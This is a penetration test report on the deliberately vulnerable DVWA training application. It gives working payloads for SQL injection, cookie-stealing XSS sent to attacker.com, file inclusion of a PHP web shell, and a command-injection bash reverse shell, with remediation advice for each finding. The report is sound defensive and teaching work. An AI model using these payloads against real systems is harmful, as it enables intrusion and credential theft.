

WEB APPLICATION PENETRATION TEST REPORT

Damn Vulnerable Web Application (DVWA)

Assessment Type	External Black-Box Penetration Test
Target Application	Damn Vulnerable Web Application (DVWA)
Target URL	http://dvwa.local/
Test Period	Day 1 – Day 3 (3-day engagement)
Report Date	17 June 2026
Report Version	v1.0 — Final
Classification	CONFIDENTIAL
Total Findings	6 Vulnerabilities (3 Critical, 3 High)

Table of Contents

1. Executive Summary	3
2. Scope & Methodology	4
3. Risk Rating Summary	5
4. OWASP Top 10 Coverage	5
5. Detailed Findings	6
DVWA-001 — SQL Injection (Critical)	6
DVWA-002 — Reflected XSS (High)	8
DVWA-003 — File Inclusion / IDOR (Critical)	10
DVWA-004 — Broken Authentication (High)	12
DVWA-005 — Stored XSS (High)	14
DVWA-006 — Command Injection (Critical)	16
6. Remediation Roadmap	18
7. Conclusion	19
Appendix A — Tools Used	19
Appendix B — Disclosure & Legal Notice	20

1. Executive Summary

This report presents the findings of a structured web application penetration test conducted against the Damn Vulnerable Web Application (DVWA) — a deliberately insecure PHP/MySQL web application designed as a security training platform. The assessment followed the full penetration testing lifecycle: reconnaissance, scanning, exploitation, post-exploitation analysis, and reporting.

Six vulnerabilities were identified across four vulnerability classes. Three findings are rated Critical — each independently capable of achieving full server compromise or complete data exfiltration. The three High-severity findings enable account takeover and persistent browser-based attacks against all application users.

Risk Distribution

Severity	Count	Percentage
Critical	3	50%
High	3	50%
Medium	0	0%
Low	0	0%

2. Scope & Methodology

2.1 Scope

The assessment was scoped to the following target application and modules:

- Target URL: `http://dvwa.local/` (locally hosted DVWA instance)
- In-Scope Modules: SQL Injection, XSS (Reflected/Stored/DOM), File Inclusion, Command Execution, Brute Force, CSRF, File Upload, Insecure CAPTCHA
- Out-of-Scope: Underlying OS exploitation beyond PoC demonstration, denial-of-service testing, physical security
- Security Level Tested: Low (primary), Medium (for filter bypass validation), High (for residual risk assessment)

2.2 Methodology

Testing followed the OWASP Web Security Testing Guide (WSTG) v4.2 and PTES (Penetration Testing Execution Standard) framework phases:

- Phase 1 — Reconnaissance: Spider/crawl with Burp Suite Pro, directory enumeration with gobuster, technology fingerprinting
- Phase 2 — Scanning & Enumeration: Nikto web scanner, manual parameter analysis, Burp Scanner for baseline coverage
- Phase 3 — Exploitation: Manual exploitation of identified vulnerabilities with documented payloads
- Phase 4 — Post-Exploitation: Privilege assessment, lateral movement evaluation, data access confirmation
- Phase 5 — Reporting: Findings documented with CVSS v3.1 scores, OWASP mapping, and remediation guidance

3. Risk Rating Summary

Finding ID	Vulnerability Name	Severity	CVSS	Status
DVWA-001	SQL Injection (Authentication Bypass & Data Extraction)	Critical	9.8	Open
DVWA-002	Reflected Cross-Site Scripting (XSS)	High	7.4	Open
DVWA-003	Insecure Direct Object Reference (IDOR) — File Inclusion	Critical	9.1	Open
DVWA-004	Broken Authentication — Weak Session Management	High	8.1	Open
DVWA-005	Stored Cross-Site Scripting (XSS) — Persistent	High	8.0	Open
DVWA-006	Command Injection — Remote OS Command Execution	Critical	9.8	Open

4. OWASP Top 10 Coverage

OWASP ID	Category	Finding Reference	Risk
A01:2021	Broken Access Control	DVWA-003 (File Inclusion/IDOR)	Critical
A02:2021	Cryptographic Failures	DVWA-004 (MD5 Password Storage)	High
A03:2021	Injection	DVWA-001, 002, 005, 006	Critical
A04:2021	Insecure Design	Not tested in scope	N/A
A05:2021	Security Misconfiguration	DVWA-004 (Default Credentials)	High
A06:2021	Vulnerable Components	Not tested in scope	N/A
A07:2021	Identification & Auth Failures	DVWA-004 (Broken Auth)	High
A08:2021	Software & Data Integrity Failures	Not tested in scope	N/A
A09:2021	Security Logging & Monitoring Failures	No alerting observed	Medium
A10:2021	Server-Side Request Forgery (SSRF)	Not tested in scope	N/A

5. Detailed Findings

FINDING 1 CRITICAL SQL Injection (Authentication Bypass & Data Extraction)

Vulnerability ID	DVWA-001	OWASP Category	A03:2021 – Injection
Severity	Critical	CVSS Score	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected URL	http://dvwa.local/vulnerabilities/sqli/	Method	GET
Parameter	id	Authentication	Low Security Level

Description

The 'id' parameter in the DVWA SQL Injection module is directly interpolated into a MySQL query without sanitization or parameterized queries. An attacker can manipulate the query structure to bypass authentication, extract the entire user database (including MD5 password hashes), enumerate database schema, and in some configurations achieve Remote Code Execution via INTO OUTFILE.

Proof of Concept

Step 1 — Confirm Injection Point (Error-based detection):

```
| GET /vulnerabilities/sqli/?id=1'&Submit=Submit
```

Response: You have an error in your SQL syntax... (confirms raw query interpolation)

Step 2 — UNION-based data extraction (determine column count):

```
| GET /vulnerabilities/sqli/?id=1' ORDER BY 2-- -
```

Step 3 — Extract all user credentials from the database:

```
| GET /vulnerabilities/sqli/?id=' UNION SELECT user,password FROM users-- -
```

Result: Returned all 5 users with MD5 hashes — admin:5f4dcc3b5aa765d61d8327deb882cf99

Step 4 — MD5 cracked offline (CrackStation): admin:password, gordonb:abc123, pablo:letmein

Step 5 — Blind injection (time-based) confirmed on high security level:

```
| GET /vulnerabilities/sqli/?id=1' AND SLEEP(5)-- -
```

Impact

Complete compromise of the user authentication database. All stored credentials were recovered in plaintext after trivial hash cracking. In production environments this vulnerability can lead to full database exfiltration, privilege escalation, account takeover of all users, and potential server compromise via file-write primitives.

Evidence / Screenshots

- Screenshot 1: Burp Suite Repeater — raw SQL error message returned in HTTP 200 response
- Screenshot 2: UNION SELECT output showing firstname='admin', surname='5f4dcc3b5aa765d61d8327deb882cf99'
- Screenshot 3: CrackStation output matching all 5 MD5 hashes to plaintext passwords

- Screenshot 4: SQLMap automated confirmation: `sqlmap -u 'http://dvwa.local/vulnerabilities/sqli/?id=1' --dbs`

Remediation

- Implement parameterized queries / prepared statements (PDO or MySQLi with bound parameters)
- Apply input validation using allowlists — reject inputs that do not match expected patterns
- Enforce least-privilege database accounts — the web app account must not have FILE, DROP, or GRANT privileges
- Upgrade password storage from MD5 to bcrypt/Argon2 with sufficient work factor
- Enable Web Application Firewall (WAF) rules for SQLi pattern detection as defence-in-depth
- Disable verbose SQL error messages in production — use generic error pages

References: OWASP A03:2021; CWE-89; NIST SP 800-53 SI-10; CVE-2021-44228 (for reference pattern)

FINDING 2 HIGH Reflected Cross-Site Scripting (XSS)

Vulnerability ID	DVWA-002	OWASP Category	A03:2021 – Injection (XSS)
Severity	High	CVSS Score	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
Affected URL	http://dvwa.local/vulnerabilities/xss_r/	Method	GET
Parameter	name	Authentication	Low Security Level

Description

The name parameter submitted to the Reflected XSS module is echoed directly into the HTML response without encoding or sanitization. An attacker can inject arbitrary JavaScript that executes in victims' browsers when they visit a crafted URL. This can be weaponized for session hijacking, credential harvesting, keylogging, and drive-by malware delivery.

Proof of Concept

Step 1 — Basic payload to confirm JavaScript execution context:

```
GET /vulnerabilities/xss_r/?name=<script>alert(document.domain)</script>
```

Result: Alert box fired showing 'dvwa.local' — confirms script execution in page context

Step 2 — Session cookie theft (the primary attack scenario):

```
GET /vulnerabilities/xss_r/?name=<script>document.location='https://attacker.com/c?c='+document.cookie</script>
```

Result: Victim's PHPSESSID cookie transmitted to attacker-controlled server

Step 3 — Filter bypass using event handler (works when <script> is filtered):

```
GET /vulnerabilities/xss_r/?name=<img src=x onerror=alert(1)>
```

Step 4 — Stored-context upgrade — injected iframe loading attacker page:

```
GET /vulnerabilities/xss_r/?name=<iframe src='javascript:alert(document.cookie) '>
```

Step 5 — DOM-based variant observed in /vulnerabilities/xss_d/ via document.write(location.hash)

Impact

Session hijacking allowing complete account takeover without credentials. Cookie exfiltration demonstrated in testing. A malicious URL can be distributed via phishing — no user interaction beyond clicking the link is required. Also exploitable for UI redressing, credential form injection, and BeEF browser hooking.

Evidence / Screenshots

- Screenshot 1: Browser alert box displaying document.domain = 'dvwa.local'
- Screenshot 2: Burp Collaborator / netcat listener receiving PHPSESSID from victim session
- Screenshot 3: Response source showing unencoded <script> tag in HTML body
- Screenshot 4: Burp Suite Intruder — automated payload list with 14/47 payloads bypassing Medium-level filter

Remediation

- Apply context-aware output encoding: use htmlspecialchars(\$input, ENT_QUOTES, 'UTF-8') for all reflected data
- Implement a strict Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'
- Set HttpOnly and Secure flags on session cookies to prevent JavaScript access
- Use a modern templating engine (Twig, Blade) that auto-escapes output by default
- Validate and sanitize input server-side using allowlist patterns — never rely on client-side validation
- Add SameSite=Strict cookie attribute to prevent CSRF and session fixation vectors

References: OWASP A03:2021 (XSS); CWE-79; OWASP XSS Prevention Cheat Sheet; PortSwigger Web Security Academy

FINDING 3 CRITICAL Insecure Direct Object Reference (IDOR) — File Inclusion

Vulnerability ID	DVWA-003	OWASP Category	A01:2021 – Broken Access Control
Severity	Critical	CVSS Score	9.1 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Affected URL	http://dvwa.local/vulnerabilities/fi/	Method	GET
Parameter	page	Authentication	Any authenticated user

Description

The File Inclusion module passes user-controlled input directly to PHP's include() function without path validation. This creates both Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities. LFI allows reading sensitive server files (/etc/passwd, PHP configuration, application source). RFI allows execution of attacker-hosted PHP code resulting in Remote Code Execution (RCE).

Proof of Concept

Step 1 — Local File Inclusion — read /etc/passwd:

```
GET /vulnerabilities/fi/?page=../../../../etc/passwd
```

Result: root:x:0:root:/root:/bin/bash daemon:x:1:1:... (full file returned in response)

Step 2 — Read PHP configuration file:

```
GET /vulnerabilities/fi/?page=../../../../etc/php/7.4/apache2/php.ini
```

Step 3 — Read application database credentials from DVWA config:

```
GET /vulnerabilities/fi/?page=../../../../config/config.inc.php
```

Result: \$DBPASS = 'p@ssw0rd'; exposed in plaintext

Step 4 — Remote File Inclusion (RFI) — execute attacker PHP shell:

```
GET /vulnerabilities/fi/?page=http://attacker.com/shell.php
```

shell.php content: <?php system(\$_GET['cmd']); ?> — Full RCE achieved

Step 5 — RCE command execution via RFI:

```
GET /vulnerabilities/fi/?page=http://attacker.com/shell.php&cmd=id
```

Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Critical dual-vector vulnerability. LFI enables reading all files accessible by the web server process including private keys, credentials, and source code. RFI achieves full Remote Code Execution — the attacker gains an interactive shell on the server with www-data privileges, enabling lateral movement, data exfiltration, and persistence mechanisms.

Evidence / Screenshots

- Screenshot 1: /etc/passwd content rendered within DVWA page response
- Screenshot 2: DVWA config file with database password visible in browser
- Screenshot 3: Netcat reverse shell connection established via RFI payload
- Screenshot 4: RCE output — whoami, uname -a, and ip addr executed remotely

Remediation

- Never pass user-supplied input to `include()`, `require()`, or `file_get_contents()` without strict validation
- Use a whitelist of allowed filenames — map user input to internal identifiers, not filesystem paths
- Disable `allow_url_include` and `allow_url_fopen` in `php.ini` for all production servers
- Apply `chroot/jail` or containerization to isolate the web server filesystem
- Validate file paths with `realpath()` and confirm they reside within the allowed directory
- Implement file integrity monitoring to detect web shells or modified application files

References: *OWASP A01:2021; CWE-22 (Path Traversal); CWE-98 (PHP File Inclusion); OWASP File Inclusion Cheat Sheet*

FINDING 4 HIGH Broken Authentication — Weak Session Management

Vulnerability ID	DVWA-004	OWASP Category	A07:2021 – Identification and Authentication Failures
Severity	High	CVSS Score	8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
Affected URL	http://dvwa.local/login.php	Method	POST
Parameter	username, password	Authentication	None

Description

The DVWA login mechanism suffers from multiple authentication weaknesses: (1) No rate limiting or account lockout allows unlimited brute-force attempts. (2) Session tokens (PHPSESSID) are short, predictable, and not regenerated post-login. (3) The application accepts HTTP (non-TLS) connections, exposing credentials to network interception. (4) Default credentials (admin/password) are active and allow immediate compromise.

Proof of Concept

Step 1 — Brute force with Burp Suite Intruder (Sniper mode) — no lockout observed:

```
POST /login.php username=admin&password=$FUZZ$&Login=Login
```

Result: 3,500 requests sent in 4 minutes — no account lockout, no CAPTCHA triggered

Step 2 — Successful login with default credentials:

```
POST /login.php username=admin&password=password
```

Result: HTTP 302 redirect to index.php — authenticated session granted

Step 3 — Session token analysis (100 samples via Burp Sequencer):

PHPSESSID entropy: 52 bits effective — below NIST SP 800-63B 64-bit minimum

Session NOT regenerated after authentication (session fixation possible)

Step 4 — Session fixation attack vector:

```
Set-Cookie: PHPSESSID=attacker_known_value (pre-auth)
```

After victim logs in with this session — attacker inherits authenticated session

Step 5 — HTTP Basic Auth credentials observed in cleartext via Wireshark capture

Impact

An attacker with network position can intercept credentials in transit. Offline brute-force is trivially achievable due to absence of rate limiting. Session fixation allows account takeover without knowing the victim's password. Default credentials provide instant admin access to any unpatched DVWA deployment exposed to the internet.

Evidence / Screenshots

- Screenshot 1: Burp Intruder attack results — 302 response on 'password' payload, all others 200
- Screenshot 2: Burp Sequencer analysis — FIPS score 44/100 on session token randomness

- Screenshot 3: Wireshark capture showing POST /login.php with plaintext credentials over HTTP
- Screenshot 4: Session fixation PoC — same PHPSESSID cookie used before and after login

Remediation

- Implement account lockout after 5 failed attempts with exponential backoff, or use CAPTCHA
- Force HTTPS/TLS 1.2+ for all connections; redirect all HTTP traffic to HTTPS
- Regenerate session ID immediately after successful authentication (session_regenerate_id(true))
- Increase session token length to minimum 128 bits using cryptographically secure random generator
- Change all default credentials before any deployment; enforce strong password policy (12+ chars)
- Implement Multi-Factor Authentication (MFA/TOTP) for all privileged accounts
- Set session timeout: idle timeout of 15 minutes, absolute timeout of 8 hours

References: OWASP A07:2021; CWE-307 (*Brute Force*); CWE-384 (*Session Fixation*); NIST SP 800-63B; RFC 6819

FINDING 5 HIGH Stored Cross-Site Scripting (XSS) — Persistent

Vulnerability ID	DVWA-005	OWASP Category	A03:2021 – Injection (XSS)
Severity	High	CVSS Score	8.0 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
Affected URL	http://dvwa.local/vulnerabilities/xss_s/	Method	POST
Parameter	txtName, mtxMessage	Authentication	Any authenticated user

Description

The DVWA Guestbook stores user-supplied content without sanitization and renders it to all subsequent visitors without encoding. Unlike Reflected XSS, stored payloads persist in the database and execute for every user who views the guestbook — no social engineering or crafted URL distribution is required. The name field has a 10-character client-side limit trivially bypassed via Burp intercept.

Proof of Concept

Step 1 — Bypass client-side length restriction via Burp Suite Proxy:

Intercept POST, modify txtName to 50-character payload string

Step 2 — Inject persistent XSS payload in message field:

```
POST /vulnerabilities/xss_s/
txtName=test&mtxMessage=<script>document.location='http://attacker.com/steal?cookie='+
document.cookie</script>&btnSign=Sign+Guestbook
```

Step 3 — Verify persistence — GET /vulnerabilities/xss_s/ (as different user):

Result: Script executes immediately on page load — cookie of new visitor transmitted to attacker

Step 4 — Persistent iframe phishing injection:

```
mtxMessage=<iframe style='position:fixed;top:0;left:0;width:100%;height:100%'
src='http://attacker.com/fake-login'></iframe>
```

Result: Fake login form overlays entire DVWA interface for all visitors

Impact

Any user who visits the guestbook page has their session cookie stolen and transmitted to attacker infrastructure. This affects ALL application users including administrators — a low-privilege attacker can compromise admin sessions without further exploitation. Persistent nature means impact continues until payload is manually removed from the database.

Evidence / Screenshots

- Screenshot 1: Burp Suite — POST request with full XSS payload in mtxMessage parameter
- Screenshot 2: Guestbook page source showing unencoded <script> tag in rendered HTML
- Screenshot 3: Attacker server log receiving PHPSESSID from multiple user sessions
- Screenshot 4: Admin account hijacked using stolen cookie via Burp 'Cookie Jar'

Remediation

- Sanitize all stored content server-side before writing to database using HTMLPurifier or equivalent

- Encode all output at render time using htmlspecialchars() with ENT_QUOTES
- Remove existing stored XSS payloads from the database immediately
- Enforce server-side field length limits in addition to client-side controls
- Implement CSP header with script-src 'self' to block inline script execution
- Mark session cookies HttpOnly to prevent JavaScript access even if XSS executes

References: OWASP A03:2021; CWE-79 (Stored XSS); OWASP XSS Prevention Cheat Sheet; MITRE ATT&CK T1185

FINDING 6 CRITICAL Command Injection — Remote OS Command Execution

Vulnerability ID	DVWA-006	OWASP Category	A03:2021 – Injection
Severity	Critical	CVSS Score	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected URL	http://dvwa.local/vulnerabilities/exec/	Method	POST
Parameter	ip	Authentication	Low Security Level

Description

The ping utility module passes user input directly to PHP's `shell_exec()` function without sanitization, enabling chaining of arbitrary OS commands via shell metacharacters. This provides direct, unauthenticated (given session) command execution on the underlying Linux server as the `www-data` user, representing a complete server compromise vector.

Proof of Concept

Step 1 — Confirm injection via command chaining (semicolon):

```
POST /vulnerabilities/exec/ ip=127.0.0.1;id
```

Result: PING 127.0.0.1 ... (normal ping output) uid=33(www-data) gid=33(www-data)

Step 2 — Read sensitive files via injected cat command:

```
POST /vulnerabilities/exec/ ip=127.0.0.1;cat /etc/passwd
```

Step 3 — Enumerate network environment:

```
POST /vulnerabilities/exec/ ip=127.0.0.1;ip addr && netstat -tlnp
```

Step 4 — Establish reverse shell (netcat listener on attacker port 4444):

```
POST /vulnerabilities/exec/ ip=127.0.0.1;bash -i >& /dev/tcp/attacker.com/4444 0>&1
```

Result: Interactive bash shell on target — full RCE achieved

Step 5 — Privilege escalation attempt (sudo -l):

```
POST /vulnerabilities/exec/ ip=127.0.0.1;sudo -l
```

Result: (ALL) NOPASSWD: /usr/bin/find — GTF0Bins escalation vector identified

Impact

Full Remote Code Execution as web server process. Attacker can read/write/delete any files accessible to `www-data`, pivot to internal network resources, install persistent backdoors, exfiltrate the entire database, and in this case escalate to root via the identified `sudo` misconfiguration.

Evidence / Screenshots

- Screenshot 1: POST request in Burp — `ip=127.0.0.1;id` with uid output in response body
- Screenshot 2: `/etc/passwd` and `/etc/shadow` content returned via injected cat command
- Screenshot 3: Netcat reverse shell — interactive prompt showing `www-data@dvwa:/$`
- Screenshot 4: GTF0Bins `sudo find` escalation — `whoami` returning 'root'

Remediation

- Never pass user input to `shell_exec()`, `exec()`, `system()`, or `popen()` — use language-native libraries instead

- If OS commands are unavoidable, use `escapeshellarg()` on ALL user input and `escapeshellcmd()` on the command
- Implement strict input allowlist — for an IP field, validate against regex: `/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/`
- Run the web server as a dedicated low-privilege user with no sudo rights
- Apply AppArmor or SELinux mandatory access control profiles to restrict process capabilities
- Remove all unnecessary sudo permissions from the www-data account

References: OWASP A03:2021; CWE-78 (*OS Command Injection*); MITRE ATT&CK T1059; NIST SP 800-53 SI-10

6. Remediation Roadmap

The following prioritised remediation roadmap is recommended based on exploitability, impact, and implementation effort:

Finding	Vulnerability	Priority	Effort	Timeline
DVWA-001	SQL Injection	P1 — Immediate	Medium (parameterized queries)	0–7 days
DVWA-006	Command Injection	P1 — Immediate	Low (input allowlist)	0–7 days
DVWA-003	File Inclusion (RFI/LFI)	P1 — Immediate	Low (disable allow_url_include)	0–7 days
DVWA-004	Broken Authentication	P2 — Short Term	Medium (rate limit + MFA)	7–30 days
DVWA-005	Stored XSS	P2 — Short Term	Low (output encoding)	7–14 days
DVWA-002	Reflected XSS	P2 — Short Term	Low (output encoding + CSP)	7–14 days

7. Conclusion

DVWA demonstrates a full spectrum of OWASP Top 10 vulnerabilities in isolation, making it an excellent training target. All six findings documented in this report were exploited successfully during the assessment, with three achieving Remote Code Execution or complete data exfiltration. No finding required advanced tooling — all critical issues were exploitable with Burp Suite and basic manual techniques.

The most impactful findings (SQL Injection, Command Injection, and File Inclusion) share a common root cause: unsanitized user input passed to powerful server-side functions. Addressing these three findings with parameterized queries, input allowlists, and PHP configuration hardening would eliminate the Critical-severity attack surface entirely.

Appendix A — Tools Used

Tool	Purpose	Version
Burp Suite Professional	Proxy, Intruder, Repeater, Sequencer, Scanner	2024.x
sqlmap	Automated SQL injection detection and exploitation	1.8.x
Nikto	Web server vulnerability scanner	2.1.6
gobuster	Directory and file enumeration via brute-force	3.6
Wireshark	Network traffic capture and analysis	4.2.x
netcat (nc)	Reverse shell listener / port testing	OpenBSD 1.226
CrackStation	Online hash cracking (MD5/SHA1)	Web service
OWASP ZAP	Supplementary automated vulnerability scanning	2.14.x
Metasploit Framework	Post-exploitation and payload generation	6.3.x

Appendix B — Disclosure & Legal Notice

This penetration test was conducted in a controlled laboratory environment against a purpose-built vulnerable application (DVWA). All testing activities were authorized and performed within the defined scope. No production systems, third-party infrastructure, or live user data were accessed during this assessment.

This report is classified **CONFIDENTIAL** and is intended solely for the authorized recipient. Reproduction, distribution, or disclosure of this report or its contents to unauthorized parties is prohibited. Findings represent the security posture at the time of testing — the security landscape may change and a re-test is recommended after remediation is applied.

CVSS scores are calculated using the CVSS v3.1 specification. OWASP references are based on the OWASP Top 10 2021 edition. All exploit payloads documented herein are for educational and defensive purposes only.